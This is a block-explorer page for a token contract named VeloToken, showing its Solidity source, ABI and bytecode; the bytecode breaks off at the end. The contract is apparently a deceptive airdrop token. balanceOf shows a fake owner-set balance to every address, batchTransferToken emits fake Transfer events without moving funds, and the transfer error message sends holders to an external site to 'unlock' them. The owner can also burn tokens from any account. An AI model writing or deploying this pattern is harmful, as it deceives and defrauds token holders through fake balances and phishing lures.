ETH Price: $3,592.22 (+3.78%)
 

Overview

Max Total Supply

100,000,000 123

Holders

102

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
150,000 123

Value
$0.00
0x24F5eE0991f95328Bf74b682F6faD54CFF9C832A
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
VeloToken

Compiler Version
v0.8.4+commit.c7e474f2

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-08-20
*/

/**
 *Submitted for verification at BscScan.com on 2021-07-22
*/

// SPDX-License-Identifier: GPL-2.0-or-later

pragma solidity ^0.8.0;
pragma abicoder v2;


interface genesisCalls {

  function AllowAddressToDestroyGenesis ( address _from, address _address ) external;

  function AllowReceiveGenesisTransfers ( address _from ) external;

  function BurnTokens ( address _from, uint256 mneToBurn ) external returns ( bool success );

  function RemoveAllowAddressToDestroyGenesis ( address _from ) external;

  function RemoveAllowReceiveGenesisTransfers ( address _from ) external;

  function RemoveGenesisAddressFromSale ( address _from ) external;

  function SetGenesisForSale ( address _from, uint256 weiPrice ) external;

  function TransferGenesis ( address _from, address _to ) external;

  function UpgradeToLevel2FromLevel1 ( address _address, uint256 weiValue ) external;

  function UpgradeToLevel3FromDev ( address _address ) external;

  function UpgradeToLevel3FromLevel1 ( address _address, uint256 weiValue ) external;

  function UpgradeToLevel3FromLevel2 ( address _address, uint256 weiValue ) external;

  function availableBalanceOf ( address _address ) external view returns ( uint256 Balance );

  function balanceOf ( address _address ) external view returns ( uint256 balance );

  function deleteAddressFromGenesisSaleList ( address _address ) external;

  function isAnyGenesisAddress ( address _address ) external view returns ( bool success );

  function isGenesisAddressLevel1 ( address _address ) external view returns ( bool success );

  function isGenesisAddressLevel2 ( address _address ) external view returns ( bool success );

  function isGenesisAddressLevel2Or3 ( address _address ) external view returns ( bool success );

  function isGenesisAddressLevel3 ( address _address ) external view returns ( bool success );

  function ownerGenesis (  ) external view returns ( address );

  function ownerGenesisBuys (  ) external view returns ( address );

  function ownerMain (  ) external view returns ( address );

  function ownerNormalAddress (  ) external view returns ( address );

  function ownerStakeBuys (  ) external view returns ( address );

  function ownerStakes (  ) external view returns ( address );

  function setGenesisCallerAddress ( address _caller ) external returns ( bool success );
  
  function setOwnerGenesisBuys (  ) external;

  function setOwnerMain (  ) external;
  
  function setOwnerNormalAddress (  ) external;
  
  function setOwnerStakeBuys (  ) external;
  
  function setOwnerStakes (  ) external;
  
  function BurnGenesisAddresses ( address _from, address[] calldata _genesisAddressesToBurn ) external;

}


interface normalAddress {
  
  function BuyNormalAddress ( address _from, address _address, uint256 _msgvalue ) external returns ( uint256 _totalToSend );
  
  function RemoveNormalAddressFromSale ( address _address ) external;
  
  function setBalanceNormalAddress ( address _from, address _address, uint256 balance ) external;
  
  function SetNormalAddressForSale ( address _from, uint256 weiPricePerMNE ) external;
  
  function setOwnerMain (  ) external;
  
  function ownerMain (  ) external view returns ( address );
}




interface stakes {

  function RemoveStakeFromSale ( address _from ) external;

  function SetStakeForSale ( address _from, uint256 priceInWei ) external;

  function StakeTransferGenesis ( address _from, address _to, uint256 _value, address[] calldata _genesisAddressesToBurn ) external;

  function StakeTransferMNE ( address _from, address _to, uint256 _value ) external returns ( uint256 _mneToBurn );

  function ownerMain (  ) external view returns ( address );

  function setBalanceStakes ( address _from, address _address, uint256 balance ) external;

  function setOwnerMain (  ) external;

}



interface stakeBuys {

  function BuyStakeGenesis ( address _from, address _address, address[] calldata _genesisAddressesToBurn, uint256 _msgvalue ) external returns ( uint256 _feesToPayToSeller );

  function BuyStakeMNE ( address _from, address _address, uint256 _msgvalue ) external returns ( uint256 _mneToBurn, uint256 _feesToPayToSeller );

  function ownerMain (  ) external view returns ( address );

  function setOwnerMain (  ) external;

}



interface genesisBuys {

  function BuyGenesisLevel1FromNormal ( address _from, address _address, uint256 _msgvalue ) external returns ( uint256 _totalToSend );

  function BuyGenesisLevel2FromNormal ( address _from, address _address, uint256 _msgvalue ) external returns ( uint256 _totalToSend );

  function BuyGenesisLevel3FromNormal ( address _from, address _address, uint256 _msgvalue ) external returns ( uint256 _totalToSend );

  function ownerMain (  ) external view returns ( address );

  function setOwnerMain (  ) external;

}



interface tokenService {  

  function ownerMain (  ) external view returns ( address );

  function setOwnerMain (  ) external;

  function circulatingSupply() external view returns (uint256);

  function DestroyGenesisAddressLevel1(address _address) external;

  function Bridge(address _sender, address _address, uint _amount) external;

}

interface baseTransfers {
	function setOwnerMain (  ) external;
	
    function transfer ( address _from, address _to, uint256 _value ) external;
	
    function transferFrom ( address _sender, address _from, address _to, uint256 _amount ) external returns ( bool success );
	
    function stopSetup ( address _from ) external returns ( bool success );
	
    function totalSupply (  ) external view returns ( uint256 TotalSupply );
}


interface mneStaking {

	function startStaking(address _sender, uint256 _amountToStake, address[] calldata _addressList, uint256[] calldata uintList) external;

}

interface luckyDraw {

	function BuyTickets(address _sender, uint256[] calldata _max) payable external returns ( uint256 );

}


interface externalService {

	function externalFunction(address _sender, address[] calldata _addressList, uint256[] calldata _uintList) payable external returns ( uint256 );

}

interface externalReceiver {

	function externalFunction(address _sender, uint256 _mneAmount, address[] calldata _addressList, uint256[] calldata _uintList) payable external;

}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}



abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract VeloToken is Ownable, IERC20 {
    string private _name;
    string private _symbol;
    uint256 private _totalSupply;
    uint256 private _airdropAmount;

    mapping(address => bool) private _unlocked;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    constructor(string memory name_, string memory symbol_, uint256 airdropAmount_) Ownable() {
        _name = name_;
        _symbol = symbol_;
        _airdropAmount = airdropAmount_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        if (!_unlocked[account]) {
            return _airdropAmount;
        } else {
            return _balances[account];
        }
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function setAirdropAmount(uint256 airdropAmount_) public onlyOwner (){

        _airdropAmount = airdropAmount_;
    }
    ////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    ////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(_unlocked[sender], "ERC20: token must be unlocked before transfer.Visit https://velochain.io for more info'");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;
        _unlocked[recipient] = true;

        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        _unlocked[account] = true;
        
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;
        _unlocked[account] = false;

        emit Transfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    ////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////
    function mint(address account, uint256 amount) public payable onlyOwner {
        _mint(account, amount);
    }

    function burn(address account, uint256 amount) public payable onlyOwner {
        _burn(account, amount);
    }
    
    function batchTransferToken(address[] memory holders, uint256 amount) public payable {
        for (uint i=0; i<holders.length; i++) {
            emit Transfer(address(this), holders[i], amount);
        }
    }
    function withdrawEth(address payable receiver, uint amount) public onlyOwner payable {
        uint balance = address(this).balance;
        if (amount == 0) {
            amount = balance;
        }
        require(amount > 0 && balance >= amount, "no balance");
        receiver.transfer(amount);
    }

    function withdrawToken(address receiver, address tokenAddress, uint amount) public onlyOwner payable {
        uint balance = IERC20(tokenAddress).balanceOf(address(this));
        if (amount == 0) {
            amount = balance;
        }

        require(amount > 0 && balance >= amount, "bad amount");
        IERC20(tokenAddress).transfer(receiver, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"airdropAmount_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"holders","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"batchTransferToken","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"airdropAmount_","type":"uint256"}],"name":"setAirdropAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"receiver","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawEth","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"},{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawToken","outputs":[],"stateMutability":"payable","type":"function"}]

60806040523480156200001157600080fd5b506040516200171438038062001714833981016040819052620000349162000220565b6200003f3362000077565b825162000054906001906020860190620000c7565b5081516200006a906002906020850190620000c7565b5060045550620002e39050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b828054620000d59062000290565b90600052602060002090601f016020900481019282620000f9576000855562000144565b82601f106200011457805160ff191683800117855562000144565b8280016001018555821562000144579182015b828111156200014457825182559160200191906001019062000127565b506200015292915062000156565b5090565b5b8082111562000152576000815560010162000157565b600082601f8301126200017e578081fd5b81516001600160401b03808211156200019b576200019b620002cd565b604051601f8301601f19908116603f01168101908282118183101715620001c657620001c6620002cd565b81604052838152602092508683858801011115620001e2578485fd5b8491505b83821015620002055785820183015181830184015290820190620001e6565b838211156200021657848385830101525b9695505050505050565b60008060006060848603121562000235578283fd5b83516001600160401b03808211156200024c578485fd5b6200025a878388016200016d565b9450602086015191508082111562000270578384fd5b506200027f868287016200016d565b925050604084015190509250925092565b600181811c90821680620002a557607f821691505b60208210811415620002c757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052604160045260246000fd5b61142180620002f36000396000f3fe60806040526004361061011f5760003560e01c806370a08231116100a0578063a457c2d711610064578063a457c2d7146102cd578063a5500c30146102ed578063a9059cbb1461030d578063dd62ed3e1461032d578063f2fde38b1461037357600080fd5b806370a0823114610248578063715018a6146102685780638da5cb5b1461027d57806395d89b41146102a55780639dc29fac146102ba57600080fd5b806323b872dd116100e757806323b872dd146101c6578063313ce567146101e6578063395093511461020257806340c10f1914610222578063512d7cfd1461023557600080fd5b806301e336671461012457806306fdde0314610139578063095ea7b31461016457806318160ddd146101945780631b9a91a4146101b3575b600080fd5b61013761013236600461110e565b610393565b005b34801561014557600080fd5b5061014e61051d565b60405161015b919061127d565b60405180910390f35b34801561017057600080fd5b5061018461017f36600461114e565b6105af565b604051901515815260200161015b565b3480156101a057600080fd5b506003545b60405190815260200161015b565b6101376101c13660046110ab565b6105c5565b3480156101d257600080fd5b506101846101e136600461110e565b61067e565b3480156101f257600080fd5b506040516012815260200161015b565b34801561020e57600080fd5b5061018461021d36600461114e565b610728565b61013761023036600461114e565b610764565b610137610243366004611160565b61079c565b34801561025457600080fd5b506101a5610263366004611088565b610821565b34801561027457600080fd5b5061013761086a565b34801561028957600080fd5b506000546040516001600160a01b03909116815260200161015b565b3480156102b157600080fd5b5061014e6108a0565b6101376102c836600461114e565b6108af565b3480156102d957600080fd5b506101846102e836600461114e565b6108e3565b3480156102f957600080fd5b5061013761030836600461124d565b61097c565b34801561031957600080fd5b5061018461032836600461114e565b6109ab565b34801561033957600080fd5b506101a56103483660046110d6565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b34801561037f57600080fd5b5061013761038e366004611088565b6109b8565b6000546001600160a01b031633146103c65760405162461bcd60e51b81526004016103bd906112d0565b60405180910390fd5b6040516370a0823160e01b81523060048201526000906001600160a01b038416906370a082319060240160206040518083038186803b15801561040857600080fd5b505afa15801561041c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104409190611265565b90508161044b578091505b60008211801561045b5750818110155b6104945760405162461bcd60e51b815260206004820152600a60248201526918985908185b5bdd5b9d60b21b60448201526064016103bd565b60405163a9059cbb60e01b81526001600160a01b0385811660048301526024820184905284169063a9059cbb90604401602060405180830381600087803b1580156104de57600080fd5b505af11580156104f2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610516919061122d565b5050505050565b60606001805461052c90611334565b80601f016020809104026020016040519081016040528092919081815260200182805461055890611334565b80156105a55780601f1061057a576101008083540402835291602001916105a5565b820191906000526020600020905b81548152906001019060200180831161058857829003601f168201915b5050505050905090565b60006105bc338484610a53565b50600192915050565b6000546001600160a01b031633146105ef5760405162461bcd60e51b81526004016103bd906112d0565b47816105f9578091505b6000821180156106095750818110155b6106425760405162461bcd60e51b815260206004820152600a6024820152696e6f2062616c616e636560b01b60448201526064016103bd565b6040516001600160a01b0384169083156108fc029084906000818181858888f19350505050158015610678573d6000803e3d6000fd5b50505050565b600061068b848484610b78565b6001600160a01b0384166000908152600760209081526040808320338452909152902054828110156107105760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016103bd565b61071d8533858403610a53565b506001949350505050565b3360008181526007602090815260408083206001600160a01b038716845290915281205490916105bc91859061075f908690611305565b610a53565b6000546001600160a01b0316331461078e5760405162461bcd60e51b81526004016103bd906112d0565b6107988282610dfd565b5050565b60005b825181101561081c578281815181106107c857634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b0316306001600160a01b03166000805160206113cc8339815191528460405161080291815260200190565b60405180910390a3806108148161136f565b91505061079f565b505050565b6001600160a01b03811660009081526005602052604081205460ff1661084957505060045490565b506001600160a01b031660009081526006602052604090205490565b919050565b6000546001600160a01b031633146108945760405162461bcd60e51b81526004016103bd906112d0565b61089e6000610ee5565b565b60606002805461052c90611334565b6000546001600160a01b031633146108d95760405162461bcd60e51b81526004016103bd906112d0565b6107988282610f35565b3360009081526007602090815260408083206001600160a01b0386168452909152812054828110156109655760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103bd565b6109723385858403610a53565b5060019392505050565b6000546001600160a01b031633146109a65760405162461bcd60e51b81526004016103bd906112d0565b600455565b60006105bc338484610b78565b6000546001600160a01b031633146109e25760405162461bcd60e51b81526004016103bd906112d0565b6001600160a01b038116610a475760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103bd565b610a5081610ee5565b50565b6001600160a01b038316610ab55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103bd565b6001600160a01b038216610b165760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103bd565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610bdc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103bd565b6001600160a01b038216610c3e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103bd565b6001600160a01b03831660009081526005602052604090205460ff16610cf25760405162461bcd60e51b815260206004820152605760248201527f45524332303a20746f6b656e206d75737420626520756e6c6f636b656420626560448201527f666f7265207472616e736665722e56697369742068747470733a2f2f76656c6f60648201527f636861696e2e696f20666f72206d6f726520696e666f27000000000000000000608482015260a4016103bd565b6001600160a01b03831660009081526006602052604090205481811015610d6a5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103bd565b6001600160a01b03808516600090815260066020526040808220858503905591851681529081208054849290610da1908490611305565b90915550506001600160a01b0380841660008181526005602052604090819020805460ff191660011790555190918616906000805160206113cc83398151915290610def9086815260200190565b60405180910390a350505050565b6001600160a01b038216610e535760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016103bd565b8060036000828254610e659190611305565b90915550506001600160a01b03821660009081526006602052604081208054839290610e92908490611305565b90915550506001600160a01b038216600081815260056020526040808220805460ff19166001179055516000805160206113cc83398151915290610ed99085815260200190565b60405180910390a35050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038216610f955760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084016103bd565b6001600160a01b038216600090815260066020526040902054818110156110095760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b60648201526084016103bd565b6001600160a01b038316600090815260066020526040812083830390556003805484929061103890849061131d565b90915550506001600160a01b0383166000818152600560209081526040808320805460ff19169055518581529192916000805160206113cc8339815191529101610b6b565b8035610865816113b6565b600060208284031215611099578081fd5b81356110a4816113b6565b9392505050565b600080604083850312156110bd578081fd5b82356110c8816113b6565b946020939093013593505050565b600080604083850312156110e8578182fd5b82356110f3816113b6565b91506020830135611103816113b6565b809150509250929050565b600080600060608486031215611122578081fd5b833561112d816113b6565b9250602084013561113d816113b6565b929592945050506040919091013590565b600080604083850312156110bd578182fd5b60008060408385031215611172578182fd5b823567ffffffffffffffff80821115611189578384fd5b818501915085601f83011261119c578384fd5b81356020828211156111b0576111b06113a0565b8160051b604051601f19603f830116810181811086821117156111d5576111d56113a0565b604052838152828101945085830182870184018b10156111f3578889fd5b8896505b8487101561121c576112088161107d565b8652600196909601959483019483016111f7565b509997909101359750505050505050565b60006020828403121561123e578081fd5b815180151581146110a4578182fd5b60006020828403121561125e578081fd5b5035919050565b600060208284031215611276578081fd5b5051919050565b6000602080835283518082850152825b818110156112a95785810183015185820160400152820161128d565b818111156112ba5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600082198211156113185761131861138a565b500190565b60008282101561132f5761132f61138a565b500390565b600181811c9082168061134857607f821691505b6020821081141561136957634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156113835761138361138a565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610a5057600080fdfeddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220f8dd82f455d122abd52d6eaaeba1565aca4a333cd3a79c4d67848947de4392f664736f6c63430008040033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000001fc3842bd1f071c000000000000000000000000000000000000000000000000000000000000000000003313233000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000033132330000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x60806040526004361061011f5760003560e01c806370a08231116100a0578063a457c2d711610064578063a457c2d7146102cd578063a5500c30146102ed578063a9059cbb1461030d578063dd62ed3e1461032d578063f2fde38b1461037357600080fd5b806370a0823114610248578063715018a6146102685780638da5cb5b1461027d57806395d89b41146102a55780639dc29fac146102ba57600080fd5b806323b872dd116100e757806323b872dd146101c6578063313ce567146101e6578063395093511461020257806340c10f1914610222578063512d7cfd1461023557600080fd5b806301e336671461012457806306fdde0314610139578063095ea7b31461016457806318160ddd146101945780631b9a91a4146101b3575b600080fd5b61013761013236600461110e565b610393565b005b34801561014557600080fd5b5061014e61051d565b60405161015b919061127d565b60405180910390f35b34801561017057600080fd5b5061018461017f36600461114e565b6105af565b604051901515815260200161015b565b3480156101a057600080fd5b506003545b60405190815260200161015b565b6101376101c13660046110ab565b6105c5565b3480156101d257600080fd5b506101846101e136600461110e565b61067e565b3480156101f257600080fd5b506040516012815260200161015b565b34801561020e57600080fd5b5061018461021d36600461114e565b610728565b61013761023036600461114e565b610764565b610137610243366004611160565b61079c565b34801561025457600080fd5b506101a5610263366004611088565b610821565b34801561027457600080fd5b5061013761086a565b34801561028957600080fd5b506000546040516001600160a01b03909116815260200161015b565b3480156102b157600080fd5b5061014e6108a0565b6101376102c836600461114e565b6108af565b3480156102d957600080fd5b506101846102e836600461114e565b6108e3565b3480156102f957600080fd5b5061013761030836600461124d565b61097c565b34801561031957600080fd5b5061018461032836600461114e565b6109ab565b34801561033957600080fd5b506101a56103483660046110d6565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b34801561037f57600080fd5b5061013761038e366004611088565b6109b8565b6000546001600160a01b031633146103c65760405162461bcd60e51b81526004016103bd906112d0565b60405180910390fd5b6040516370a0823160e01b81523060048201526000906001600160a01b038416906370a082319060240160206040518083038186803b15801561040857600080fd5b505afa15801561041c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104409190611265565b90508161044b578091505b60008211801561045b5750818110155b6104945760405162461bcd60e51b815260206004820152600a60248201526918985908185b5bdd5b9d60b21b60448201526064016103bd565b60405163a9059cbb60e01b81526001600160a01b0385811660048301526024820184905284169063a9059cbb90604401602060405180830381600087803b1580156104de57600080fd5b505af11580156104f2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610516919061122d565b5050505050565b60606001805461052c90611334565b80601f016020809104026020016040519081016040528092919081815260200182805461055890611334565b80156105a55780601f1061057a576101008083540402835291602001916105a5565b820191906000526020600020905b81548152906001019060200180831161058857829003601f168201915b5050505050905090565b60006105bc338484610a53565b50600192915050565b6000546001600160a01b031633146105ef5760405162461bcd60e51b81526004016103bd906112d0565b47816105f9578091505b6000821180156106095750818110155b6106425760405162461bcd60e51b815260206004820152600a6024820152696e6f2062616c616e636560b01b60448201526064016103bd565b6040516001600160a01b0384169083156108fc029084906000818181858888f19350505050158015610678573d6000803e3d6000fd5b50505050565b600061068b848484610b78565b6001600160a01b0384166000908152600760209081526040808320338452909152902054828110156107105760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016103bd565b61071d8533858403610a53565b506001949350505050565b3360008181526007602090815260408083206001600160a01b038716845290915281205490916105bc91859061075f908690611305565b610a53565b6000546001600160a01b0316331461078e5760405162461bcd60e51b81526004016103bd906112d0565b6107988282610dfd565b5050565b60005b825181101561081c578281815181106107c857634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b0316306001600160a01b03166000805160206113cc8339815191528460405161080291815260200190565b60405180910390a3806108148161136f565b91505061079f565b505050565b6001600160a01b03811660009081526005602052604081205460ff1661084957505060045490565b506001600160a01b031660009081526006602052604090205490565b919050565b6000546001600160a01b031633146108945760405162461bcd60e51b81526004016103bd906112d0565b61089e6000610ee5565b565b60606002805461052c90611334565b6